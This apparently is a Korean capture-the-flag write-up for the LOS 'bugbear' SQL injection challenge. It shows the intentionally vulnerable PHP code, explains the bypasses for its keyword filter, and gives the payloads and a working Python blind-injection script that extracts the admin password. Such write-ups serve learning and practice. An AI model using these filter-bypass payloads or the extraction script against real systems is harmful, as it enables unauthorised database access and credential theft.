web/LOS

[LOS] bugbear

Tyojong 2025. 8. 9. 11:29
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

 

문제 목표

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");

pw가 일치 해야하고

if(preg_match('/\'/i'$_GET[pw])) exit("HeHe");

pw로 들어온 입력값 중 작은 따옴표는 필터링 되며

if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i'$_GET[no])) exit("HeHe");

no로 들어온 입력값 중 작은따옴표, substr, ascii, 등호, or, and, 공백, like, 0x 가 대소문자 구분없이 필터링된다.

문제 해결

or 필터링의 경우 || 로 우회가 가능하고 등호와 like 필터링의 경우 instr함수를 사용해 우회가 가능하다.

공백의 경우 tab을 url 인코딩한 %09를 사용해 우회할 수 있다.

?no=1||instr(id,"admin")--%09

 

or을 필터링하기 때문에 ord함수도 사용이 불가능해 ascii대신 hex함수를 사용해 16진수로 표현하도록 하여 필터링을 우회하고 substr함수 대신 mid함수로 대체하여 필터링을 우회할 수 있다.

?no=1||instr(id,"admin")%26%26instr(35,hex(mid(pw,1,1)))--%09

import requests

prob_id = "bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"

cookies = {"PHPSESSID": "세션 값"}

pw_len = 1

while True:

    payloads = f'?no=1||instr(id,"admin")%26%26instr({pw_len},length(pw))--%09'
    url = f"https://los.rubiya.kr/chall/{prob_id}{payloads}"

    response = requests.get(url, cookies=cookies)
    if "Hello admin" in response.text:
        print(f"password length : {pw_len}")
        break
    else:
        print(f"password length : {pw_len}", end='\r')
        pw_len = pw_len + 1


pw = ""


for i in range(1, pw_len+1):
    for pw_ascii in range(33, 127):
        pw_ascii2 = hex(pw_ascii)[2:]
        payloads = f'?no=1||instr(id,"admin")%26%26instr({pw_ascii2},hex(mid(pw,{i},1)))--%09'
        url = f"https://los.rubiya.kr/chall/{prob_id}{payloads}"

        response = requests.get(url, cookies=cookies)
        if "Hello admin" in response.text:
            pw = pw + chr(pw_ascii)
            break
        else:
            print(f"password : {pw}{chr(pw_ascii)}", end='\r')

print(f"\rpassword : {pw}")